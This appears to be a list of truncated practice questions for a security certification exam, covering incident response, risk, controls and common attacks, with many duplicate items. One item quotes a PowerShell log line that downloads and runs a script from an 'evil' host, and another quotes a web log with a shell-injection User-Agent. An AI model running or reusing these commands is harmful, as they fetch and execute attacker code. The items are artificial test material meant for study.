  721. A company relies on open-source software libraries to build the software used by its customers. Which of the following vulnerability types would be the most dif ...
  722. While reviewing a recent compromise, a forensics team discovers that there are hard-coded credentials in the database connection strings. Which of the following ...
  723. Which of the following is the greatest advantage that network segmentation provides?
  724. Which of the following would best prepare a security team for a specific incident response scenario?
  725. While updating the security awareness training, a security analyst wants to address issues created if vendors' email accounts are compromised. Which of the foll ...
  726. Which of the following agreements defines response time, escalation points, and performance metrics?
  727. Which of the following hardening techniques must be applied on a container image before deploying it to a production environment? (Select two)
  728. The internal audit team determines a software application is no longer in scope for external reporting requirements. Which of the following will document manage ...
  729. An administrator discovers a cross-site scripting vulnerability on a company website. Which of the following will most likely remediate the issue?
  730. Which of the following can best contribute to prioritizing patch applications?
  731. Which of the following is a preventive physical security control?
  732. Which of the following is the best way to securely store an encryption key for a data set in a manner that allows multiple entities to access the key when neede ...
  733. A company that has a large IT operation is looking to better control, standardize, and lower the time required to build new servers. Which of the following arch ...
  734. A user sends an email that includes a digital signature for validation. Which of the following security concepts would ensure a user cannot deny they sent the e ...
  735. Which of the following would best ensure a controlled version release of a new software application?
  736. Which of the following is a benefit of launching a bug bounty program? (Select two).
  737. An IT team rolls out a new management application that uses a randomly generated MFA token that is sent to the administrator's phone. Despite this new MFA preca ...
  738. Attackers created a new domain name that looks similar to a popular file-sharing website. Which of the following threat vectors is being used?
  739. Which of the following techniques can be used to sanitize the data contained on a hard drive while allowing for the hard drive to be repurposed?
  740. A security analyst is investigating an alert that was produced by endpoint protection software. The analyst determines this event was a false positive triggered ...
  741. Which of the following control types is AUP an example of?
  742. Which of the following allows for the attribution of messages to individuals?
  743. Which of the following strategies most effectively protects sensitive data at rest in a database?
  744. A security engineer needs to quickly identify a signature from a known malicious file. Which of the following analysis methods would the security engineer most ...
  745. Which of the following is most likely to be used as a just-in-time reference document within a security operations center?
  746. A business provides long-term cold storage services to banks that are required to follow regulator-imposed data retention guidelines. Banks that use these servi ...
  747. Which of the following would help ensure a security analyst is able to accurately measure the overall risk to an organization when a new vulnerability is disclo ...
  748. An administrator at a small business notices an increase in support calls from employees who receive a blocked page message after trying to navigate to a spoofe ...
  749. Which of the following outlines the configuration, maintenance, and security roles between a cloud service provider and the customer?
  750. Which of the following is a preventive physical security control?
  751. Which of the following metrics impacts the backup schedule as part of the BIA?
  752. An organization needs to block certain information from view. Which of the following should the organization use to accomplish this task?
  753. Which of the following would be used to detect an employee who is emailing a customer list to a personal account before leaving the company?
  754. Which of the following is a compensating control for providing user access to a high-risk website?
  755. Which of the following are examples of operational controls that would be appropriate to implement in an environment where financial processing activities occur ...
  756. A company phone with proprietary data used by an employee has been stolen. Which of the following can be used to remotely wipe the device?
  757. Which of the following risk management strategies describes applying a compensating control to a device rather than patching?
  758. After a company was compromised, customers initiated a lawsuit. The company's attorneys have requested that the security team initiate a legal hold in response ...
  759. Visitors to a company’s facilities are connecting to the company’s corporate network Wi-Fi and open network ports. Which of the following should the security en ...
  760. Car vandalism repeatedly occurs near a specific part of a company’s ungated facility. Which of the following would provide the best physical deterrent? (Select ...
  761. Which of the following is a common data removal option for companies that want to wipe sensitive data from hard drives in a repeatable manner but allow the hard ...
  762. Which of the following organizational documents is most often used to establish and communicate expectations associated with integrity and ethical behavior with ...
  763. Which of the following non-production sites is an operational mirror of the primary data center and is ready for use if the primary data center experiences an o ...
  764. An important patch for a critical application has just been released, and a systems administrator is identifying all of the systems requiring the patch. Which o ...
  765. A software developer wants to implement an application security technique that will provide assurance of the application's integrity. Which of the following tec ...
  766. A technician is setting up a public-facing web server and needs to ensure traffic is secure. Which of the following steps should the technician take to begin th ...
  767. Which of the following is the best control to prevent a data center from being damaged by a vehicle?
  768. A Chief Information Security Officer has decided that purchasing insurance when the ALE of expected incidents exceeds $1 million is the most cost-effective appr ...
  769. A company hired a security consultant to suggest a device that will protect its inbound HTTP traffic by immediately blocking security violations. Which of the f ...
  770. A newly identified network access vulnerability has been found in the OS of legacy IoT devices. Which of the following would best mitigate this vulnerability qu ...
  771. Which of the following risks can be mitigated by HTTP headers?
  772. A penetration tester gained access to a server room by dressing as an engineer from a known third-party vendor. Which of the following types of penetration test ...
  773. A security analyst is evaluating a SaaS application that the human resources department would like to implement. The analyst requests a SOC 2 report from the Sa ...
  774. Which of the following is a use of CVSS?
  775. A security manager wants to reduce the number of steps required to identify and contain basic threats. Which of the following will help achieve this goal?
  776. When used with an access control vestibule, which of the following would provide the best prevention against tailgating?
  777. Which of the following is the best way to improve the confidentiality of remote connections to an enterprise's infrastructure?
  778. Which of the following is a one-way function that provides assurance of data integrity?
  779. Which of the following risk management strategies describes applying a compensating control to a device rather than patching?
  780. After a company was compromised, customers initiated a lawsuit. The company's attorneys have requested that the security team initiate a legal hold in response ...
  781. After failing an audit twice, an organization has been ordered by a government regulatory agency to pay fines. Which of the following caused this action?
  782. Which of the following types of vulnerabilities is primarily caused by improper use and management of cryptographic certificates?
  783. A Chief Information Security Officer (CISO) wants to explicitly raise awareness about the increase of ransomware-as-a-service in a report to the management team ...
  784. Which of the following is the best example of VM escape?
  785. A penetration tester, who did not have an access badge, managed to follow a group of employees through multiple badged-access doors and into the data center wit ...
  786. A security operations center determines that the malicious activity detected on a server is normal. Which of the following activities describes the act of ignor ...
  787. Question: A security analyst assesses the most common causes of downtime within the company and finds the following: Border firewalls are offline for vulnerabil ...
  788. A company filed a complaint with its IT service provider after the company discovered the service provider's external audit team had access to some of the compa ...
  789. A software engineer is downloading a third-party application from a public repository and wants to ensure the application has not been maliciously altered. Whic ...
  790. Which of the following is a security implication of using SDN over traditional methods?
  791. Which of the following describes how often backups should occur in a COOP plan?
  792. The Chief Information Security Officer gives the security community the opportunity to report vulnerabilities on the organization's public-facing assets. Which ...
  793. Which of the following principles ensures data is only accessible to authorized users?
  794. A penetration tester is testing the security of a building's alarm system following reports of unauthorized personnel entering the building. Which of the follow ...
  795. A systems administrator is concerned about vulnerabilities within cloud computing instances. Which of the following is most important for the administrator to c ...
  796. A security analyst develops a threat model based on the recent news that Company A is using Company B. An investigation reveals that Company B told one of their ...
  797. Which of the following would enable a data center to remain operational through a multiday power outage?
  798. An office wants to install a Wi-Fi network. The security team must ensure a secure design. The security team expects the Wi-Fi access points to be more powerful ...
  799. A security team identifies a vulnerability in an application that the developers will not be able to patch for six months. Which of the following should the sec ...
  800. Which of the following is an internal audit team's function within risk management?
  801. A systems administrator is creating a script that would save time and prevent human error when performing account creation for a large number of end users. Whic ...
  802. Which of the following security concepts is the best reason for permissions on a human resources fileshare to follow the principle of least privilege?
  803. Which of the following describes the reason root cause analysis should be conducted as part of incident response?
  804. Which of the following describes a vulnerability that has been publicly exposed but does not yet have a remediation available from the manufacturer?
  805. A software developer released a new application and is distributing application files via the developer's website. Which of the following should the developer p ...
  806. A business needs a recovery site but does not require immediate failover. The business also wants to reduce the workload required to recover from an outage. Whi ...
  807. Which of the following organizational documents is most often used to establish and communicate expectations associated with integrity and ethical behavior with ...
  808. A company is in the process of cutting jobs to manage costs. The Chief Information Security Officer is concerned about the increased risk of an insider threat. ...
  809. Which of the following should be used to ensure that a new software release has not been modified before reaching the user?
  810. A newly identified network access vulnerability has been found in the OS of legacy IoT devices. Which of the following would best mitigate this vulnerability qu ...
  811. An organization wants to deploy software in a container environment to increase security. Which of the following will limit the organization's ability to achiev ...
  812. The management team reports that employees are missing features on company-provided tablets, causing productivity issues. IT must resolve the issue within 48 ho ...
  813. A company wants to minimize the chance of its outgoing marketing emails getting flagged as spam. The company decides to list the email servers on the proper DNS ...
  814. An attacker uses XSS to compromise a web server. Which of the following solutions could have been used to prevent this attack?
  815. The Chief Information Security Officer (CISO) has determined the company is non-compliant with local data privacy regulations. The CISO needs to justify the bud ...
  816. Which of the following impact analysis metrics will best estimate the average operational availability of an asset?
  817. Which of the following is a SIEM system using when monitoring Unix servers with only an SSH credentials login?
  818. A security analyst is concerned malicious actors are lurking in an environment but has not received any alerts regarding suspicious activity. Which of the follo ...
  819. While a school district is performing state testing, a security analyst notices all internet services are unavailable. The analyst discovers that ARP poisoning ...
  820. A small business initially plans to open common communications ports (21, 22, 25, 80, 443) on its firewall to allow broad access to its screened subnet. However ...
  821. An employee emailed a new systems administrator a malicious web link and convinced the administrator to change the email server's password. The employee used th ...
  822. A security analyst investigates abnormal outbound traffic from a corporate endpoint. The traffic is encrypted and uses non-standard ports. Which of the followin ...
  823. An administrator installs an SSL certificate on a new system. During testing, errors indicate that the certificate is not trusted. The administrator has verifie ...
  824. A nation-state attacker gains access to the email accounts of several journalists by compromising a website that the journalists frequently use. Which of the fo ...
  825. An engineer connects a new firewall into their corporate ISP modem. The engineer configures an outbound port using the public IP address provided by the ISP. Th ...
  826. Which of the following best explains the benefit of using asymmetric encryption?
  827. Which of the following technologies must be used in an organization that intends to automate infrastructure deployment?
  828. Which of the following methods will most likely be used to identify legacy systems?
  829. A company suffered a critical incident where 30GB of data was exfiltrated from the corporate network. Which of the following actions is the most efficient way t ...
  830. A new employee can select a particular make and model of an employee workstation from a preapproved list. Which of the following is this an example of?
  831. Which of the following would a systems administrator follow when upgrading the firmware of an organization's router?
  832. Which of the following is an example of passive reconnaissance against a company?
  833. Question: Which of the following describes how a risk event might affect operations and limit the overall risk score?
  834. An organization experiences data loss after several employees traveled to an area that is well-known for corporate espionage. The employees always used VPNs whe ...
  835. A large organization has stable, well-established operations regarding its employee work hours, locations, and tasks. The large number of employees makes indivi ...
  836. Which of the following security controls is most likely being used when a critical legacy server is segmented into a private network?
  837. Which of the following best describes a common use of OSINT?
  838. Which of the following would help ensure a security analyst is able to accurately measure the overall risk to an organization when a new vulnerability is disclo ...
  839. A systems administrator is changing the password policy within an enterprise environment and wants this update implemented on all systems as quickly as possible ...
  840. A security practitioner completes a vulnerability assessment on a company’s network and finds several vulnerabilities, which the operations team remediates. Whi ...
  841. An attacker forces an internal company employee to inject malware into corporate systems under threat of publishing the employee’s sensitive personal files. Whi ...
  842. An attacker pretending to be from the help desk calls a user. The attacker asks the user to verify a password in order to fix a technical issue. Which of the fo ...
  843. A user downloads a patch from an unknown repository to update their device. After applying the patch, the system becomes unresponsive. An incident response team ...
  844. An IT security director performs a security assessment on a vendor but fails to disclose that the director’s spouse is a high-level executive with the vendor. W ...
  845. Hacktivists change an organization’s page. The page's content is limited to static code and images. Which of the following should the organization use to detect ...
  846. A Chief Information Security Officer (CISO) implements a new policy that users can no longer access fantasy sports sites while at work. The CISO wants to implem ...
  847. Which of the following will oversee a cybersecurity program and provide guidance on risk appetite for an organization?
  848. A company is concerned with supply chain compromise of new servers and wants to limit this risk. Which of the following should the company review first?
  849. Which of the following explains how regular patching helps mitigate risks when securing an enterprise environment?
  850. A company wants to ensure that only authorized devices can enter an environment. Which of the following will the company most likely use to implement the contro ...
  851. An employee asks a security analyst to scan a suspicious email that contains a link to a file on a file-sharing site. The analyst determines that the file is sa ...
  852. A network security analyst monitors the network’s IDS, which has flagged unusual activity. The IDS has detected multiple login attempts to a database server wit ...
  853. Which of the following best describes the importance of implementing filesystem journaling?
  854. Which of the following is the greatest advantage that network segmentation provides?
  855. When used with an access control vestibule, which of the following would provide the best prevention against tailgating?
  856. A software developer wants to implement an application security technique that will provide assurance of the application's integrity. Which of the following tec ...
  857. A security operations center determines that the malicious activity detected on a server is normal. Which of the following activities describes the act of ignor ...
  858. Which of the following are the first steps in an incident response process?
  859. Which of the following types of vulnerabilities is primarily caused by improper use and management of cryptographic certificates?
  860. An organization wants to deploy software in a container environment to increase security. Which of the following will limit the organization's ability to achiev ...
  861. Which of the following should a technician perform to verify the integrity of a file transferred from one device to another?
  862. Which of the following mitigation techniques would a security analyst most likely use to avoid bloatware on devices?
  863. To which of the following security categories does an EDR solution belong?
  864. Which of the following would help ensure a security analyst is able to accurately measure the overall risk to an organization when a new vulnerability is disclo ...
  865. A site reliability engineer is designing a recovery strategy that requires quick failover to an identical site if the primary facility goes down. Which of the f ...
  866. Which of the following best explains a concern with OS-based vulnerabilities?
  867. A user receives an aggressive text from an unknown sender who is demanding money. Which of the following attacks is this an example of?
  868. A business provides long-term cold storage services to banks that are required to follow regulator-imposed data retention guidelines. Banks that use these servi ...
  869. Which of the following technologies must be used in an organization that intends to automate infrastructure deployment?
  870. Which of the following is an internal audit team's function within risk management?
  871. A systems administrator is changing the password policy within an enterprise environment and wants this update implemented on all systems as quickly as possible ...
  872. An administrator needs to perform server hardening before deployment. Which of the following steps should the administrator take? (Select two)
  873. A few weeks after deploying additional email servers, a company begins to receive complaints from employees that messages they send are going into their recipie ...
  874. A company wants to track modifications to the code that is used to build new virtual servers. Which of the following will the company most likely deploy?
  875. An organization with multiple geographic locations has invested in various internet circuits at each location, including MPLS, 4G/5G, broadband, and dial-up. An ...
  876. Which of the following threat actors would most likely deface the website of a high-profile music group?
  877. A company receives an alert that a network device vendor, which is widely used in the enterprise, has been banned by the government. Which of the following will ...
  878. A systems administrator is concerned about vulnerabilities within cloud computing instances. Which of the following is most important for the administrator to c ...
  879. A Chief Information Security Officer (CISO) wants to explicitly raise awareness about the increase of ransomware-as-a-service in a report to the management team ...
  880. Which of the following types of vulnerabilities involves attacking a system to access adjacent hosts?
  881. A Chief Information Security Officer is developing procedures to guide detective and corrective activities associated with common threats, including phishing, s ...
  882. After a company was compromised, customers initiated a lawsuit. The company's attorneys have requested that the security team initiate a legal hold in response ...
  883. Which of the following would enable a data center to remain operational through a multiday power outage?
  884. A security administrator must use a strategy to protect the company's data. The security administrator decides to deploy FDE on the end user devices and TLS for ...
  885. A company wants to use new Wi-Fi-enabled environmental sensors in order to automatically collect metrics. Which of the following will the security team most lik ...
  886. A security analyst is evaluating a SaaS application that the human resources department would like to implement. The analyst requests a SOC 2 report from the Sa ...
  887. Which of the following security measures should database servers containing passwords utilize? (Select two)
  888. A company discovers suspicious transactions that were entered into the company's database and attached to a user account that was created as a trap for maliciou ...
  889. A network security analyst monitors the network's IDS, which has flagged unusual activity. The IDS has detected multiple login attempts to a database server wit ...
  890. A security manager wants to reduce the number of steps required to identify and contain basic threats. Which of the following will help achieve this goal?
  891. A software engineer is downloading a third-party application from a public repository and wants to ensure the application has not been maliciously altered. Whic ...
  892. After failing an audit twice, an organization has been ordered by a government regulatory agency to pay fines. Which of the following caused this action?
  893. Which of the following security controls is most likely being used when a critical legacy server is segmented into a private network?
  894. Which of the following risk management strategies describes applying a compensating control to a device rather than patching?
  895. Which of the following digital forensics activities would a security team perform when responding to legal requests in a pending investigation?
  896. A security team identifies a vulnerability in an application that the developers will not be able to patch for six months. Which of the following should the sec ...
  897. A security analyst receives an alert categorized as suspicious activity after a standard user downloaded a .pdf file from a marketing website. The following occ ...
  898. Which of the following activities identifies but does not exploit vulnerabilities?
  899. A penetration tester, who did not have an access badge, managed to follow a group of employees through multiple badged-access doors and into the data center wit ...
  900. Which of the following is a risk for a company using end-of-life applications on its network?
  901. Which of the following is a one-way function that provides assurance of data integrity?
  902. Which of the following solutions will most likely be used in the financial industry to mask sensitive data?
  903. A company filed a complaint with its IT service provider after the company discovered the service provider's external audit team had access to some of the compa ...
  904. While updating the security awareness training, a security analyst wants to address issues created if vendors' email accounts are compromised. Which of the foll ...
  905. Which of the following describes effective change management procedures?
  906. Which of the following is a use of CVSS?
  907. A user downloads a patch from an unknown repository to update their device. After applying the patch, the system becomes unresponsive. An incident response team ...
  908. Which of the following is the best way to improve the confidentiality of remote connections to an enterprise's infrastructure?
  909. The security team notices that the Always On VPN solution sometimes fails to connect. This leaves remote users unprotected because they cannot connect to the on ...
  910. Which of the following is used to calculate the impact to an organization per cybersecurity incident?
  911. A business is expanding to a new country and must protect customers from accidental disclosure of specific national identity information. Which of the following ...
  912. A penetration tester is testing the security of a building's alarm system following reports of unauthorized personnel entering the building. Which of the follow ...
  913. During an investigation of a cloud-based webmail login using compromised credentials, a security analyst needs to review information about the source IP for the ...
  914. The help desk receives multiple calls indicating that machines are running slowly when running enterprise applications. The help desk notes that the affected ma ...
  915. A group of developers has a shared backup account to access the source code repository. Which of the following is the best way to secure the backup account if t ...
  916. Which of the following is the best way to validate the integrity and availability of a disaster recovery site?
  917. Which of the following can assist in recovering data if the decryption key is lost?
  918. A security engineer must deploy a sensor to actively monitor a closed network. The company's enterprise SIEM is located in the cloud, and there is a strict poli ...
  919. Which of the following security concepts is being followed when implementing a product that offers protection against DDoS attacks?
  920. While troubleshooting an internal resource's poor performance for an end user, a network engineer performs a traceroute on the end device and compares it with a ...
  921. The Chief Information Security Officer gives the security community the opportunity to report vulnerabilities on the organization's public-facing assets. Which ...
  922. A security practitioner completes a vulnerability assessment on a company's network and finds several vulnerabilities, which the operations team remediates. Whi ...
  923. Which of the following attacks primarily targets insecure networks?
  924. Which of the following data types best describes an AI tool developed by a company to automate the ticketing system under a specific contract?
  925. A systems administrator configures a new application. The next day, a security analyst reviews the logs and identifies multiple accounts that had been created o ...
  926. A new security regulation was announced that will take effect in the coming year. A company must comply with it to remain in business. Which of the following ac ...
  927. Which of the following is a primary security concern for a company setting up a BYOD program?
  928. A security engineer needs to quickly identify a signature from a known malicious file. Which of the following analysis methods would the security engineer most ...
  929. Which of the following provides resilience by hosting critical VMs within different IaaS providers while being maintained by internal application owners?
  930. After creating a contract for IT contractors, the human resources department changed several clauses. The contract has gone through three revisions. Which of th ...
  931. A security analyst is investigating an application server and discovers that software on the server is behaving abnormally. The software normally runs batch job ...
  932. The physical security team at a company receives reports that employees are not displaying their badges. The team also observes employees tailgating at controll ...
  933. A systems administrator successfully configures VPN access to a cloud environment. Which of the following capabilities should the administrator use to best faci ...
  934. An administrator is creating domain profiles for each employee within the company. The administrator wants to make the process more efficient by assigning permi ...
  935. A company asks a vendor to help its internal red team with a penetration test without providing too much detail about the infrastructure. Which of the following ...
  936. An organization knows its single loss expectancy. Which of the following does the organization need in order to determine its annualized loss expectancy?
  937. Which of the following activities is included in the post-incident review phase?
  938. Which of the following should be used to prevent changes to system-level data?
  939. Which of the following metrics are used to calculate the risk rating in a matrix format? (Select two.)
  940. An application security engineer is working to address issues stemming from situations where necessary approvals and testing were not done before code was intro ...
  941. A systems administrator just purchased multiple network devices. Which of the following should the systems administrator perform to prevent attackers from acces ...
  942. Which of the following explains how a supply chain service provider could introduce a security vulnerability into an organization?
  943. Employees receive a text message containing a link to a web page that prompts the user to enter their ID and a work phone number. The text message appears to co ...
  944. Which of the following security concepts is accomplished with the installation of a RADIUS server?
  945. Which of the following is a strategy to protect stored passwords?
  946. A company discovers that an employee was paid by a competitor to save internal business files to a thumb drive and deliver it to the competitor. Which of the fo ...
  947. A technician is setting up a public-facing web server and needs to ensure traffic is secure. Which of the following steps should the technician take to begin th ...
  948. Which of the following is the best safeguard to protect against an extended power failure?
  949. Which of the following is a major security implication of connecting an ICS network to an enterprise network?
  950. Which of the following security controls is a company implementing by deploying HIPS? (Select two.)
  951. A company's accounts payable clerk receives a message from a vendor asking to change their bank account before paying an invoice. The clerk makes the change and ...
  952. Which of the following would be the best ways to ensure only authorized personnel can access a secure facility? (Select two.)
  953. Which of the following is the act of proving to a customer that software developers are trained on secure coding?
  954. A security analyst reviews the following endpoint log: powershell -exec bypass -Command "IEX (New-Object Net.WebClient).DownloadString(http://176.30.40.50/evil ...
  955. Which of the following should a systems administrator set up to increase the resilience of an application by splitting the traffic between two identical sites?
  956. A software engineer is developing a new business application and needs to check for errors and security flaws before the software engineer compiles and sends it ...
  957. An unexpected and out-of-character email message from a Chief Executive Officer's corporate account asked an employee to provide financial information and to ch ...
  958. Which of the following best describes the practice of researching laws and regulations related to information security operations within a specific industry?
  959. After multiple phishing simulations, the Chief Security Officer announces a new program that incentivizes employees to not click phishing links in the upcoming ...
  960. Which of the following security control types does an acceptable use policy best represent?
  961. A security analyst reviews the following SIEM events and observes multiple successful logins for the same user from geographically distant locations within minu ...
  962. Which of the following techniques is used to assess the effectiveness of security controls that are designed to protect a system from unauthorized access?
  963. An organization is required to provide assurance that its controls are properly designed and operating effectively. Which of the following reports will best ach ...
  964. Which of the following is the best way to prevent data from being leaked from a secure network that does not need to communicate externally?
  965. Which of the following threat actors will most likely target an organization by using a logic bomb within an internally-developed application?
  966. An administrator plans to apply a critical patch to a critical system. Which of the following is the first thing the administrator should do?
  967. Which of the following phases of an incident response involves generating reports?
  968. Which of the following is a prerequisite for a DLP solution?
  969. An analyst wants to move data from production to the UAT server to test the latest release. Which of the following strategies to protect data should the analyst ...
  970. During a penetration test in a hypervisor, the security engineer is able to use a script to inject a malicious payload and access the host filesystem. Which of ...
  971. Which of the following methods is the most effective for reducing vulnerabilities?
  972. Which of the following should a security analyst use to prioritize the remediation of a vulnerability?
  973. Which of the following security threats aims to compromise a website that multiple employees frequently visit?
  974. Which of the following will help reduce alert fatigue?
  975. The Chief Information Security Officer (CISO) of a medium-sized business plans to modernize the existing security infrastructure and address issues with legacy ...
  976. A company's antivirus solution is effective in blocking malware but often has false positives. The security team has spent a significant amount of time on inves ...
  977. A company suffered a critical incident where 30GB of data was exfiltrated from the corporate network. Which of the following actions is the most efficient way t ...
  978. Which of the following will harden access to a new database system? (Select two)
  979. Which of the following is an example of a certificate that is generated by an internal source?
  980. A security administrator needs a method to secure data in an environment that includes some form of checks so that the administrator can track any changes. Whic ...
  981. A company that has a large IT operation is looking to better control, standardize, and lower the time required to build new servers. Which of the following arch ...
  982. A company expects its provider to ensure servers and networks maintain 97% uptime. Which of the following will most likely list this expectation?
  983. An organization purchased and configured spare devices for all critical network infrastructure. Which of the following best describes the organization's reason ...
  984. Which of the following tasks is typically included in the BIA process?
  985. Which of the following types of vulnerabilities is primarily caused by improper use and management of cryptographic certificates?
  986. Which of the following is a one-way function that provides assurance of data integrity?
  987. A security analyst is reviewing logs and discovers the following: 149.34.228.10 - - [28/Jan/2023:16:32:45 -0300] "GET / HTTP/1.0" User-Agent: ${/bin/sh/id} 200 ...
  988. A company is discarding a classified storage array and hires an outside vendor to complete the disposal. Which of the following should the company request from ...
  989. Which of the following should be used to ensure that a device is inaccessible to a network-connected resource?
  990. A company is required to use certified hardware when building networks. Which of the following best addresses the risks associated with procuring counterfeit ha ...
  991. A company plans to secure its systems by preventing users from sending sensitive data over corporate email and restricting access to potentially harmful website ...
  992. A university employee has logged on to an academic server and attempted to guess the system administrators' login credentials. Which of the following security m ...
  993. While conducting a business continuity tabletop exercise, the security team becomes concerned by potential impact if a generator was to develop a fault durin ...
  994. A security engineer develops a policy to block all insecure protocols on the network. Which of the following ports should the security engineer block as part of ...
  995. An administrator wants to create a comprehensive list of the technologies used at the company. Which of the following will best help with this task?
  996. While reviewing a recent compromise, a forensics team discovers that there are hard-coded credentials in the database connection strings. Which of the following ...
  997. A security practitioner completes a vulnerability assessment on a company's network and finds several vulnerabilities, which the operations team remediates. Whi ...
  998. An attacker adds 40B of data as an input on a system that can handle only 4B. This causes the system to crash. Which of the following vulnerabilities did the at ...
  999. A company processes personal data from customers in multiple countries. Which of the following actions is most critical for maintaining legal compliance with gl ...
  1000. An organization plans to increase security controls for devices that connect to its internal network. The additional security control must perform port-based au ...
  1001. Which of the following techniques will mitigate the risk of sensitive data exposure when data is encoded with UTF-8 over a public network?
  1002. Which of the following attacks are most likely to exploit vulnerabilities in RTOS?
  1003. Alerts from email protection systems and MSSPs must be entered into an IT service management system and assigned to the security team. Which of the following sh ...
  1004. A software engineer is developing a new business application and needs to check for errors and security flaws before the software engineer compiles and sends it ...
  1005. A systems administrator just purchased multiple network devices. Which of the following should the systems administrator perform to prevent attackers from acces ...
  1006. Which of the following best describes a method for ongoing vendor monitoring in third-party risk management?
  1007. Which of the following types of vulnerabilities is primarily caused by improper use and management of cryptographic certificates?
  1008. Which of the following is the best way to prevent data from being leaked from a secure network that does not need to communicate externally?
  1009. A company plans to secure its systems by: • Preventing users from sending sensitive data over corporate email • Restricting access to potentially harmful webs ...
  1010. Which of the following should be used to ensure that a device is inaccessible to a network-connected resource?
  1011. A company expects its provider to ensure servers and networks maintain 97% uptime. Which of the following will most likely list this expectation?
  1012. A company suffered a critical incident where 30GB of data was exfiltrated from the corporate network. Which of the following actions is the most efficient way t ...
  1013. An administrator is creating domain profiles for each employee within the company. The administrator wants to make the process more efficient by assigning permi ...
  1014. A new security regulation was announced that will take effect in the coming year. A company must comply with it to remain in business. Which of the following ac ...
  1015. Which of the following phases of an incident response involves generating reports?
  1016. Which of the following is the act of proving to a customer that software developers are trained on secure coding?
  1017. Which of the following should a security analyst use to prioritize the remediation of a vulnerability?
  1018. Which of the following is a strategy to protect stored passwords?
  1019. Which of the following best describes the practice of researching laws and regulations related to information security operations within a specific industry?
  1020. A company wants to track modifications to the code that is used to build new virtual servers. Which of the following will the company most likely deploy?
  1021. An unexpected and out-of-character email message from a Chief Executive Officer's corporate account asked an employee to provide financial information and to ch ...
  1022. A company filed a complaint with its IT service provider after the company discovered the service provider's external audit team had access to some of the compa ...
  1023. Which of the following is a use of CVSS?
  1024. Which of the following scenarios is a warning sign specific to insider threats that should be included in a company's security awareness training?
  1025. Which of the following security concepts is accomplished with the installation of a RADIUS server?
  1026. Which of the following would be the most appropriate way to protect data in transit?
  1027. A security administrator wants to determine if the company's social engineering training is effective. Which of the following should the administrator do to com ...
  1028. Which of the following reduces oversight and places the most trust in the implementing organization?
  1029. Which of the following will help reduce alert fatigue?
  1030. Which of the following is the best way to validate the integrity and availability of a disaster recovery site?
  1031. In an effort to reduce costs, a company is implementing a strategy that gives employees access to internal company resources, including email, from personal dev ...
  1032. A new security team must develop necessary security program elements. Which of the following steps should the security team take first?
  1033. An administrator installs an SSL certificate on a new system. During testing, errors indicate that the certificate is not trusted. The administrator has verifie ...
  1034. Which of the following vulnerabilities will input validation prevent?
  1035. Which of the following techniques is used to assess the effectiveness of security controls that are designed to protect a system from unauthorized access?
  1036. A business unit decides to isolate its servers to address a vulnerability. Which of the following best describes this risk strategy?
  1037. A network security analyst monitors the network's IDS, which has flagged unusual activity. The IDS has detected multiple login attempts to a database server wit ...
  1038. An organization with multiple geographic locations has invested in various internet circuits at each location, including MPLS, 4G/5G, broadband, and dial-up. An ...
  1039. Which of the following is used as a control on physical and digital assets and serves as a signal for employees to identify security requirements when accessing ...
  1040. Which of the following cyberattacks will use Unicode values in a website domain name instead of English alphabet letters?
  1041. Which of the following best describes the practice of preserving and documenting the handling of forensic evidence?
  1042. Which of the following should an organization implement to avoid unnecessary liability after the end of a legal contract obligation with a third party?
  1043. Which of the following security concepts is being followed when implementing a product that offers protection against DDoS attacks?
  1044. A large organization has stable, well-established operations regarding its employee work hours, locations, and tasks. The large number of employees makes indivi ...
  1045. Which of the following is a possible consequence of a VM escape?
  1046. A university employee has logged on to an academic server and attempted to guess the system administrators' login credentials. Which of the following security m ...
  1047. When trying to access an internal website, an employee reports that a prompt displays, stating that the site is insecure. Which of the following certificate typ ...
  1048. A company uses its backups to recover from a ransomware attack. Which of the following best guarantees that the backups are not infected?
  1049. The Chief Information Security Officer (CISO) requires that new servers include hardware-level memory encryption. Which of the following data states does the CI ...
  1050. Which of the following tasks is typically included in the BIA process?
  1051. A security engineer must deploy a sensor to actively monitor a closed network. The company's enterprise SIEM is located in the cloud, and there is a strict poli ...
  1052. Which of the following best explains why an organization would choose a warm site for disaster recovery?
  1053. A penetration test identifies that an SMBv1 is enabled on multiple servers across an organization. The organization wants to remediate this vulnerability in the ...
  1054. Which of the following describes a vulnerability where a website under heavy load performs an unauthorized write operation seconds after the user authenticates?
  1055. An engineer has ensured that the switches are using the latest OS, the servers have the latest patches, and the endpoints' definitions are up to date. Which of ...
  1056. Which of the following is a security implication of using SDN over traditional methods?
  1057. Which of the following is a security implication of using SDN over traditional methods?
  1058. A security analyst is investigating an application server and discovers that software on the server is behaving abnormally. The software normally runs batch job ...
  1059. A site reliability engineer is designing a recovery strategy that requires quick fail over to an identical site if the primary facility goes down. Which of the ...
  1060. A site reliability engineer is designing a recovery strategy that requires quick fail over to an identical site if the primary facility goes down. Which of the ...
  1061. Which of the following will harden access to a new database system? (Select two)
  1062. Which of the following security controls is most likely being used when a critical legacy server is segmented into a private network?
  1063. A company must ensure that log searches are conducted in the shortest time frame. Which of the following should the company do to maintain logs in live storage ...
  1064. Which of the following is the most common data loss path for an air-gapped network?
  1065. An accounting clerk sent money to an attacker’s bank account after receiving fraudulent instructions over the phone to use a new account. Which of the following ...
  1066. Which of the following is a common, passive reconnaissance technique employed by penetration testers in the early phases of an engagement?
  1067. A systems administrator needs to provide traveling employees with a security measure that will protect company devices regardless of where they are working. Whi ...
  1068. Which of the following practices would be best to prevent an insider from introducing malicious code into a company's development process?
  1069. Which of the following best explains why using an appropriate algorithm is critical for digital signatures?
  1070. A software developer wants to implement an application security technique that will provide assurance of the application's integrity. Which of the following tec ...
  1071. Which of the following aspects of the data management life cycle is most directly impacted by local and international regulations?
  1072. An employee asks a security analyst to scan a suspicious email that contains a link to a file on a file-sharing site. The analyst determines that the file is sa ...
  1073. A company processes personal data from customers in multiple countries. Which of the following actions is most critical for maintaining legal compliance with gl ...
  1074. An organization purchased and configured spare devices for all critical network infrastructure. Which of the following best describes the organization's reason ...
  1075. Which of the following risk analysis attributes measures the chance that a vulnerability will be exploited?
  1076. A remote employee navigates to a shopping website on their company-owned computer. The employee clicks a link that contains a malicious file. Which of the follo ...
  1077. A company prepares for an upcoming regulatory audit. The company wants to perform a gap analysis in the most cost-effective way. Which of the following will hel ...
  1078. Which of the following best describes the main difference between an MOU and an SOW?
  1079. A technician is setting up a public-facing web server and needs to ensure traffic is secure. Which of the following steps should the technician take to begin th ...
  1080. An administrator is creating domain profiles for each employee within the company. The administrator wants to make the process more efficient by assigning permi ...
  1081. An alert references attacks associated with a zero-day exploit. An analyst places a bastion host in the network to reduce the risk of the exploit. Which of the ...
